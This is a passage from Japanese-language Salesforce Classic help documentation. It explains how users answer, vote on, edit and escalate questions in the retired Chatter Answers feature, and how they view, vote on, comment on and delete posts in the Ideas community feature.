• 質問の下の [返信] をクリックして、回答を投稿します。
質問アイコンは、質問が解決済みか、また未処理かを示します。

関連トピック:

アンサーの概要

質問への回答

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

質問に答える手順は、次のとおりです。
• コミュニティまたはカテゴリ内の質問のリストを表示している場合、回答す

る質問の隣にある [返信] をクリックします。エディタに返信を入力し、[返
信] をクリックします。

• 質問の詳細を表示している場合、ページ下部の入力スペースに回答を入力
し、[返信] をクリックします。

質問に回答した後、次のようになります。
• コミュニティメンバーは、回答が参考になったかどうかについて投票できま

す。

2700

顧客への応答顧客のサポート

https://help.salesforce.com/apex/HTViewSolution?urlname=Chatter-Answers-to-Retire-in-Winter-18


• 質問したメンバーは、回答をベストメンバーとして選択できます。

関連トピック:

アンサーの概要
回答への投票
質問に対する最良の回答の選択
ケースへの質問のエスカレーション

返信の編集と削除

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

回答を編集する
• 質問に対する「編集」

回答を削除する
• 質問に対する「削除」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

回答オブジェクトに対する「編集」および「削除」権限のない標準ユーザは、
それらの回答を編集することも削除することもできません。ただし、Salesforce

システム管理者として、コミュニティに投稿された回答を編集または削除する
ことはできます。たとえば、アンサーコミュニティを監視したり、不適切な内
容または攻撃的な言葉を含む回答を編集または削除できます。
回答を編集または削除する手順は、次のとおりです。
1. 質問のタイトルをクリックして、質問に対するすべての回答のリストを表示

します。
2. 変更または削除する回答の隣の [編集] または [削除]をクリックします。回答

を削除すると、回答はごみ箱に移動します。
攻撃的な言葉が投稿されないようにするために、回答を投稿する場合に特定の語をユーザが入力できないよう
にする入力規則を作成することもできます。
入力規則を作成するには、Chatter アンサーの質問およびChatter アンサーの返信のオブジェクト管理設定から、
[入力規則] に移動します。
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回答への投票

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

回答に投票すると、最も参考になった (および参考になっていない) 情報を含む
回答を示すことにより、アンサーコミュニティに貢献します。他のコミュニティ
メンバーが質問に対する回答を探している場合、回答が受けた「参考になる」
や「参考にならない」の数をすばやく確認し、どの回答を読むか決定するため
の情報を得ることができます。
また、投票数が多いほど、質問したメンバーが回答を最良の回答に選ぶことが
容易になります。
質問を表示する場合、回答を確認し、回答が役立つ場合は [いいね!]、回答に不
適切な方法または役に立たない情報が含まれている場合は[反対]を選択します。
投票 (+1 または –1) は、その回答の [参考になった] または [参考にならなかった]

の合計に含まれます。自分の回答に投票はできません。また各回答にできる回
答数は 1 回だけです。

関連トピック:

アンサーの概要
アンサーの使用
質問への回答
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質問に対する最良の回答の選択

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

ユーザが質問した後、その他のコミュニティーメンバーが投稿した回答をモニ
タリングし、回答のいずれかを最良の回答として選択する必要があります。最
良の回答は質問の真下に強調表示されるため見つけやすくなり、コミュニティ
メンバーが質問に対し最も役立つ解決法を特定できます。
Salesforce のシステム管理者と質問を投稿したユーザのみが返信を最良の回答と
してマークできます。
最良の回答を選択する手順は、次のとおりです。
1. [アンサー] タブから質問を検索して、そのタイトルをクリックします。
2. 最良の回答とする回答を決定し、[「最良の回答」として選択] をクリックし

ます。
最良の回答を特定するために、各回答の投票 (「参考になった」「参考にな
らなかった」) を確認してください。「参考になった」が最も多い回答には、最も役立つ情報が含まれてい
ると考えられます。質問に多くの回答がある場合、リストの上部に「参考になった」「参考にならなかっ
た」が最も多い回答が表示されるよう、[最多投票] で回答を並び替えます。

最良の回答を選択した後、次のようになります。
• 質問が「解決済み」としてマークされます。コミュニティメンバーは、解決済みの質問に対する回答の投

稿と投票を続けることができます。
• より参考になる回答がその後投稿されると、その回答を最良の回答に選択すると、以前の最良の回答と置

き換えられます。
• 回答に設定された最良の回答状況はいつでも削除することができます。回答から最良の回答状況を削除す

ると、通常の回答になります。

関連トピック:

返信からの記事の作成
質問への回答
回答への投票
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質問と回答の表示

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

ユーザがアクティブなコミュニティメンバーとなると、[アンサー] タブの任意の
ページの上部で [私の質問 & 返信] をクリックして、投稿したすべての質問およ
び回答のリストを表示できます。
質問のリストを表示すると、解決した質問、および未解決の質問をすばやく特
定できます (解決済みの質問には最良の回答があります。)。次の条件で質問を並
び替えることができます。
• 最新の質問: 最近投稿された質問をリストの上部に表示します。
• 最近の活動: 最近投稿された質問と最近回答のあった質問がリストの上部に

表示されます。
• 最も古い質問: 最も古い質問をリストの上部に表示します。
回答のリストを表示している場合、質問のタイトルが回答の前にリンクとして
表示されます。次の条件で回答を並び替えることができます。
• 最新の回答: 最近投稿された回答をリストの上部に表示します。
• 最も古い回答: 最も古い回答をリストの上部に表示します。
• 投票数が最も多い回答:「参考になった」および「参考にならなかった」の数の合計が最も多い回答をリス

トの上部に表示します。
次の表は、ページに表示されるアイコンについて説明したものです。

説明アイコン

解決された質問です。質問を解決するために、質問したメンバーは回答を最良の回答
に選択します。

コミュニティメンバーが回答している質問です。たとえば、このアイコンは回答数が
4 の質問を示します。回答がない場合、このアイコンには 0 が表示されます。

質問への回答です。
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説明アイコン

質問に対する最良の回答であるとマークされた回答です。

関連トピック:

アンサーの概要
質問する
質問への回答
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返信からの記事の作成

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce ナレッジを使用
可能なエディション:
Performance Edition および
Developer Edition と、
Service Cloud が付属する
Unlimited Edition

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

返信を昇格する
• 返信の昇格には記事タ

イプに対する「作成」
および「参照」を使用

および

質問に対する「編集」

および

ユーザの詳細ページで
チェックされている
[ナレッジユーザ]

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

アンサーコミュニティで、特に役に立つ返信を知識ベースの記事にすることが
できます。記事を作成する手順は、次のとおりです。
1. 質問のタイトルをクリックして、質問とその返信が記載されている詳細ペー

ジを表示します。
2. 知識ベースに追加する返信上で、[記事に昇格] をクリックします。
3. 記事を編集します。表示される項目は返信に割り当てられているデフォルト

の記事タイプにより異なりますが、次の事項はすべての記事タイプで共通で
す。
• [タイトル] 項目に質問のタイトルが表示されます。
• [概要] 項目に返信が表示されます。
• 記事に対し、新しいデータカテゴリを選択できます。回答とは異なり、

記事では複数のカテゴリグループをサポートします。

メモ: システム管理者は記事タイプと割り当て先を変更できます。

4. [保存] をクリックします。これで元の返信に、記事との関連付けを示す状況
メッセージが表示されます。記事が公開されると、返信に対するメッセージ
には記事へのリンクが含まれます。

関連トピック:

アンサーの概要
Salesforce ナレッジの概要
記事および翻訳の公開
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ケースへの質問のエスカレーション

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

ケースを作成する
• ケースに対する「作

成」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

質問が未解決のまま残っていたり、返信に満足しない場合、システム管理者と
信頼できるコミュニティメンバーは質問をケースにエスカレーションできます。
ケースの作成後、質問が存続する限り、質問の詳細ページにケースへのリンク
が表示されます。このリンクには、ケースの状況も表示されます。

メモ: ケースをクローズしても質問は解決済みとマークされません。また、
質問が解決してもケースはクローズされません。ケースと質問は別個に更
新する必要があります。

質問をケースにエスカレーションする手順は、次のとおりです。
1. 質問のタイトルをクリックします。
2. 質問の詳細ページで、[ケースにエスカレーション] をクリックします。この

ボタンは、システム管理者がケースを適切に設定した場合にのみ表示されま
す。

3. デフォルトの値を変更する場合は、ケース項目を更新します。質問のタイトルが自動的にケースの[件名]

になります。
4. [保存] をクリックします。質問の詳細ページに戻り、解決のため [ケース所有者] にケースが表示されま

す。

関連トピック:

質問する
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アイデアの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

アイデアは、アイデアとアイデアに対する投票およびコメントを投稿するユー
ザのコミュニティです。アイデアコミュニティは、オンラインのわかりやすい
方法で、革新的なアイデアを訴求、管理、および紹介できます。

ヒント: Salesforceは、Salesforceユーザが製品フィードバックを寄稿して新し
い機能を提案するための独自のアイデアコミュニティを提供しています。
このコミュニティにアクセスするには、http://ideas.salesforce.com へアクセス
してください。

アイデアの用語
アイデアでは、次の用語が使用されます。
カテゴリ、アイデア

カテゴリは、システム管理者が定義した値で、アイデアをゾーン内で論理サ
ブグループに整理するときに役立ちます。[アイデア] タブの [カテゴリの参照]

ドロップダウンリストを使用して、ユーザはアイデアをカテゴリ別に絞るこ
とができ、[アイデアの投稿] ページの [カテゴリ]選択リストで、アイデアに
カテゴリを追加することができます。たとえば、アイデアゾーンのテーマが
「洋服の型の改善」である場合には、「シャツ」、「ジャケット」、「ス
ラックス」などのカテゴリを設定します。各組織は共通のカテゴリセットを
1 つ持ち、各ゾーンに追加または削除することができます。システム管理者
は、アイデアゾーンおよびアンサーゾーンの各カテゴリを定義します。

コメント
コメントは、投稿されたアイデアに対するプレーンテキストの応答で、コメ
ントによってアイデアについて議論できます。[アイデア] タブの [コメント]

サブタブには、最新のコメントが一覧表示されます。アイデアの詳細ページ
では、コメントが古いものから順に並んで表示されます。

コミュニティ
コミュニティは、カスタマイズ可能な、従業員、顧客、およびパートナーが
ベストプラクティスやビジネスプロセスにおいてコラボレーションを行うた
めの、公開または非公開のスペースです。

コミュニティエキスパート
コミュニティエキスパートは、組織を代表する信頼のおける権威ある立場で話すコミュニティメンバーで
す。コミュニティエキスパートがコメントまたはアイデアを投稿すると、その名前の横に固有のアイコン
( ) が表示されます。Salesforce システム管理者は、必要に応じてコミュニティエキスパートを何人でも指
名できます。

降格
アイデアが気に入らない場合は、[反対]をクリックすると、アイデア全体のスコアから 10 ポイント減算し、
アイデアの全体的な人気度を下げることができます。同じアイデアを 2 回以上降格することはできません。
また、降格した後でそのアイデアを昇格させることもできません。昇格させるより降格させるユーザが多
ければ、そのアイデアの全体スコアが負になる場合もあります。
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半減期
半減期設定により、[人気のあるアイデア] サブタブで古いアイデアが順位を下げ、新しい投票を多く集め
ているアイデアに順位を譲るまでの期間が決められます。半減期が短いと、長い場合よりも早く古いアイ
デアがページの下の方に移動します。この設定は、組織内のすべてのゾーンに影響します。

アイデア
アイデアは、アイデアコミュニティのメンバーが投稿し、ゾーン別に整理された提案です。たとえば、ゾー
ンのテーマが「車の機能に関するアイデア」の場合、そのゾーンに適切なアイデアとしてタイトル「飲み
物の温度を維持する耐熱性のカップホルダー」のようなアイデアが考えられます。または、ゾーンのテー
マが「当社の福利厚生に関するアイデア」の場合、そのゾーンに適切なアイデアとしてタイトル「職場の
託児所」のようなアイデアが考えられます。

アイデアのテーマ
アイデアのテーマでは、特定のトピックに関するアイデアを投稿するようにコミュニティメンバーを招待
できるフォーラムを使用して、コミュニティメンバーが問題を解決したり、会社の革新を提案したりでき
るようになります。

ポイント
ポイントは、アイデアの人気度を表す測定単位です。アイデアに対する投票は 10 ポイントになります (昇
格により 10 ポイント加算され、降格により 10 ポイント減となります)。アイデアの総ポイント数がアイデ
アの左側に表示されます。

人気のあるアイデア
[人気のあるアイデア] サブタブでは、アイデアに対するプラス投票の経過時間を反映した内部計算によっ
てアイデアが並び替えられます。アイデアの静的な総ポイント数に関係なく、新たにプラス投票を獲得し
たアイデアが、プラス投票の獲得が古いアイデアよりもページの上の方に表示されます。これにより、過
去にプラス投票され古くなったアイデアに対する優先度を下げ、最近人気のあるアイデアを容易に確認で
きます。

ポータル
組織でカスタマーポータルまたはパートナーポータルを使用している場合は、[アイデア] タブを一方また
は両方のポータルに追加して、ポータルユーザが独自のアイデアコミュニティに参加できるようにするこ
とができます。[アイデア] タブの上部にある [ゾーン] リストには、利用可能なすべてのゾーンが表示され、
各ゾーンには、独自の一意のアイデアのグループがあります。

昇格
アイデアに賛成する場合や、アイデアが気に入った場合は、[賛成] をクリックすると、そのアイデアに 10

ポイント加算されます。同じアイデアを 2 回以上昇格することはできません。また、自分がすでに降格し
たアイデアを昇格させることはできません。Salesforce により、自分が投稿したアイデアには自動的に昇格
の投票が追加されます。

最近の活動
[最近の活動] ページには、ゾーンへの参加に関する最近の活動の概要がすべて含まれています。たとえば、
このページには、そのユーザがゾーンに投稿したすべてのアイデアやコメントと、そのユーザが投票した
アイデアが一覧表示されます。[最近の活動] ページを表示するには、[アイデア] タブの右側にあるニック
ネームをクリックします。
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状況
アイデアの状況により、ゾーンメンバーはアイデアの進捗を追跡できます。たとえば、[レビュー中]、[レ
ビュー済み]、[利用不可]、[利用可能] 等の値をシステム管理者は定義することができます。アイデアの状況
は、アイデアのタイトルの横に表示され、すべてのゾーンメンバーが見ることができます。

通算トップのアイデア
[通算トップ] サブタブでは、アイデアのポイント数が最も多いものから順に並んで表示されます。これに
より、アイデアゾーンの履歴の中で最も人気のあるアイデアを参照できます。

投票、Idea

アイデアコミュニティの投票とは、アイデアを昇格または降格させることです。アイデアに投票した後、
ニックネームがアイデアの詳細ページの下部に表示され、投票されたかどうかを追跡できます。自分の [最
近の活動] ページを使用して、自分が投票したすべてのアイデアの一覧を確認できます。

ゾーン
ゾーンでは、アイデアおよび質問を論理グループに整理します。ゾーンには、それぞれ独自のテーマ、固
有のアイデアや質問があります。
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アイデアの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

アイデアは、アイデアとアイデアに対する投票およびコメントを投稿するユー
ザのコミュニティです。アイデアコミュニティは、オンラインのわかりやすい
方法で、革新的なアイデアを訴求、管理、および紹介できます。実行できる操
作
• アイデアの投稿
• アイデアまたはアイデアのテーマの表示
• アイデアの検索
• アイデアへの投票
• アイデアに対するコメント
• 最近の活動と返信の参照
• シンジケーションフィードの登録
[アイデア] タブをクリックするたびに、[人気のあるアイデア] サブタブに全カテ
ゴリのアイデアが表示されます。現在のビューを変更するには、[最近のアイデ
ア] または [通算トップ] など他のサブタブの 1 つをクリックします。リストビュー
に切り替えるには、 [リスト] をクリックします。

関連トピック:

アイデアの概要
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アイデアの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

次のセクションでは、アイデアの表示方法について説明します。
• Salesforce の [アイデア] タブへのアクセス
• ポータルの [アイデア] タブへのアクセス
• 人気のあるアイデアの参照
• 最近のアイデアの参照
• 通算で最も人気のあるアイデアの参照
• カテゴリ別のアイデアの参照
• 状況別のアイデアの参照
• 他のゾーンのアイデアの参照
• アイデアの詳細の表示

Salesforce の [アイデア] タブへのアクセス
Salesforceでは、[アイデア] タブがコミュニティアプリケーションでデフォルトで
使用できるようになっています。このアプリケーションは、すべての Salesforce

ページの右上にある Force.com アプリケーションメニューから選択できます。
システム管理者がプロファイルをカスタマイズして、他のアプリケーションで
も [アイデア] タブが表示されるように設定することもできます。また、システ
ム管理者が [アイデア] タブを別のタブ名に変更することもできます。

[アイデア] タブを表示するには、 をクリックします。リストビューに
切り替えるには、 [リスト] をクリックします。

ヒント: [アイデア] タブの上部にある [ゾーン] リストには、利用可能なすべ
てのゾーンが表示され、各ゾーンには、独自の一意のアイデアのグループ
があります。

Salesforce.com コミュニティの [アイデア] タブへのアクセス
組織でSalesforce.com コミュニティを作成すると、システム管理者はコミュニティ
の設定時に、選択されたタブのリストにそのコミュニティを追加することによっ
て、[アイデア] タブをコミュニティに表示できます。

ポータルの [アイデア] タブへのアクセス
カスタマーポータルまたはパートナーポータルへのアクセス権を持つユーザが組織に存在する場合、ポータル
の管理者はどちらのポータルでも [アイデア] タブを表示できます。ポータルに表示されるアイデアは、ポータ
ル経由または Salesforce 内で作成され、ポータルに公開されます。

人気のあるアイデアの参照
[人気のあるアイデア] サブタブでは、アイデアに対するプラス投票の経過時間を反映した内部計算によってア
イデアが並び替えられます。アイデアの静的な総ポイント数に関係なく、新たにプラス投票を獲得したアイデ
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アが、プラス投票の獲得が古いアイデアよりもページの上の方に表示されます。これにより、過去にプラス投
票され古くなったアイデアに対する優先度を下げ、最近人気のあるアイデアを容易に確認できます。

最近のアイデアの参照
[最近のアイデア] タブに、登録された最新のアイデアが一覧表示されます。新しいアイデアが、古いアイデア
の上位に表示されます。

通算で最も人気のあるアイデアの参照
[通算トップ] サブタブには、最もポイントの高いアイデアが一覧表示されます。[通算トップ] サブタブと [人気
のあるアイデア] サブタブの違いは、[通算トップ] サブタブには、通算ポイント数が多いアイデアが上位に表
示されるのに対し、[人気のあるアイデア] サブタブには、最も直近に賛成票を獲得したアイデアが半減期を考
慮したアルゴリズムによって判断されて上位に表示されます。

カテゴリ別のアイデアの参照
カテゴリは、システム管理者が定義した値で、アイデアをゾーン内で論理サブグループに整理するときに役立
ちます。[アイデア] タブの [カテゴリの参照] ドロップダウンリストを使用して、ユーザはアイデアをカテゴリ
別に絞ることができ、[アイデアの投稿] ページの [分類] 選択リストで、アイデアにカテゴリを追加すること
ができます。
アイデアをカテゴリ別に参照するには、[カテゴリの参照]ドロップダウンリストからカテゴリを選択します。
または、アイデアの説明の下部に表示されている、投稿したユーザの横にあるカテゴリリンクをクリックしま
す。

アイデアのテーマごとのアイデアの表示
アイデアのテーマに投稿されるすべてのアイデアを表示できます。[アイデアのテーマ]詳細ページから、アイ
デアのテーマとその関連アイデアを管理できます。

状況別のアイデアの参照
アイデアの状況により、ゾーンメンバーはアイデアの進捗を追跡できます。たとえば、[レビュー中]、[レビュー
済み]、[利用不可]、[利用可能] 等の値をシステム管理者は定義することができます。アイデアの状況は、アイ
デアのタイトルの横に表示され、すべてのゾーンメンバーが見ることができます。
特定の状況にあるすべてのアイデアを参照するには、[アイデア] タブに移動し、[状況]ドロップダウンリスト
から値を選択します。または、アイデアの横にある状況リンクをクリックして、その状況にあるゾーンですべ
てのアイデアを参照します。

他のゾーンのアイデアの参照
システム管理者は、それぞれ固有のアイデアのリストを持つ複数のゾーンを作成できます。このため、アイデ
アを参照するとき、自分が正しいゾーンを表示していることを確認することが重要です。特定のゾーンでアイ
デアを参照するには、ページ上部にあるゾーンのリストからゾーンを選択します。
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アイデアの詳細の表示
アイデアのタイトルをクリックすると、そのアイデアの詳細ページが表示されます。アイデアの詳細ページに
は、次のセクションがあります。
• アイデアの完全なテキスト文やポイント数など、アイデアの詳細
• 関連するアイデアのテーマと、アイデアのテーマが属するゾーン
• アイデアに対して投稿されたすべてのコメント
• 新規コメントを追加するためのエリア
• アイデアに投票 (昇格または降格) した最新の 100 ユーザの一覧。新しい投票から順に左から右に並んでい

ます。
• システム管理者であれば、詳細ページでアイデアを編集、削除またはマージできます。

関連トピック:

アイデアの概要
アイデアへの投票
アイデアに対するコメント
アイデアの投稿と編集
アイデアの使用
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アイデアへの投票

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

アイデアコミュニティの投票とは、アイデアを昇格または降格させることです。
アイデアに賛成する場合や、アイデアが気に入った場合は、[賛成]をクリックす
ると、そのアイデアに 10 ポイント加算されます。同じアイデアを 2 回以上昇格
することはできません。また、自分がすでに降格したアイデアを昇格させるこ
とはできません。Salesforce により、自分が投稿したアイデアには自動的に昇格
の投票が追加されます。
アイデアが気に入らない場合は、[反対]をクリックすると、アイデア全体のスコ
アから 10 ポイント減算し、アイデアの全体的な人気度を下げることができま
す。同じアイデアを 2 回以上降格することはできません。また、降格した後で
そのアイデアを昇格させることもできません。昇格させるより降格させるユー
ザが多ければ、そのアイデアの全体スコアが負になる場合もあります。
アイデアに投票する手順は、次のとおりです。
1. [アイデア] タブで、昇格または降格するアイデアを指定します。
2. アイデアに 10 ポイント加算するには、アイデアの横の [賛成]をクリックしま

す。アイデアから 10 ポイント減算するには、[反対] をクリックします。

メモ: 新しいアイデアを投稿すると、そのアイデアに自動的に投票され、
アイデアのスコアに 10 ポイント加算されます。

関連トピック:

アイデアの概要
アイデアの表示
アイデアの使用
自分の [最近の活動] ページの参照
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アイデアに対するコメント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

コメントは、投稿されたアイデアに対するプレーンテキストの応答で、コメン
トによってアイデアについて議論できます。[アイデア] タブの [コメント] サブタ
ブには、最新のコメントが一覧表示されます。アイデアの詳細ページでは、コ
メントが古いものから順に並んで表示されます。

アイデアへのコメントの追加
自分の考えや意見を他のコミュニティメンバーと共有するには、次の手順でア
イデアにコメントを追加します。
1. [アイデア] タブで、コメントを追加するアイデアを指定します。
2. アイデアのタイトル、またはアイデアの説明の下にある [コメント]リンクを

クリックします。
3. アイデアの詳細ページで、[コメントの追加] セクションにあるテキスト入力

エリアにコメントを入力します。4,000 文字まで入力できます。
組織でアイデアの HTML エディタが有効になっていると、説明に HTML や参照
用のオンライン画像を含めることができます。HTML エディタが有効になって
いない場合は、テキストのみを使用します。

4. [投稿] をクリックして、コメントを送信します。
新たに追加されたコメントは、アイデアの詳細ページの [コメント] 関連リスト
に表示されます。

アイデアに対するコメントの編集
アイデアに対して投稿したコメントを編集する手順は、次のとおりです。
1. アイデアの詳細ページで、コメントの横にある [編集] をクリックします。
2. 必要に応じてコメントを編集します。
3. 作業内容を保存するには、[適用] をクリックします。

アイデアに対するコメントの削除
アイデアに対するコメントを削除するには、アイデアに対する「削除」権限が必要です。
1. アイデアの詳細ページで、コメントの横にある [削除] をクリックします。
2. [OK] をクリックします。

最近投稿されたコメントの表示
アイデアコミュニティで最近投稿されたコメントを表示するには、[コメント] サブタブをクリックし、コメン
トを表示するゾーンを選択します。コメントのテキストをクリックすると、該当するアイデアの詳細ページが
表示されます。
[コメント] タブには、以下のように表示されます。
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• コメントは、最新のものから順に表示されます。
• コメントが投稿されたアイデアのタイトルが、コメントの上に表示されます。
• コメントを投稿したユーザの別名が、コメントテキストの横に表示されます。
• アイデアに対するコメントの総数が、コメントテキスト下の括弧内に表示されます。たとえば、「コメン

ト [20]」であれば、そのアイデアに 20 件のコメントがあることを表します。

関連トピック:

アイデアの概要
アイデアの表示
アイデアの使用
アイデアに対するコメントへのいいね!

アイデアに対するコメントへのいいね!

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コメントにいいね! と言って、支持します。
アイデアに関連付けられたコメントの下にある [いいね!] をクリックします。
コメントにいいね! と言うのを止める場合は、[いいね! を取り消す]をクリックし
ます。
アイデアでは、コメントへのいいね! の件数がカウントされます。コメントがい
いね! を受け取ると、コメントの合計スコアおよびコメントを投稿したユーザの
評価にポイントが追加されます。

関連トピック:

アイデアに対するコメント
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アイデアの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアとコメントを削
除する
• アイデアに対する「削

除」

アイデアを削除する手順は、次のとおりです。
1. アイデアの名前をクリックすると、詳細ページが表示されます。
2. [削除] ボタンをクリックします。
3. [OK] をクリックします。
アイデア、そのコメント、また子アイデアがあればごみ箱に移動されます。ご
み箱からアイデアを復元すると、そのアイデアのコメント、投票、および子ア
イデアも復元されます。

関連トピック:

アイデアのマージ
アイデアの投稿と編集
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自分の [最近の活動] ページの参照

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
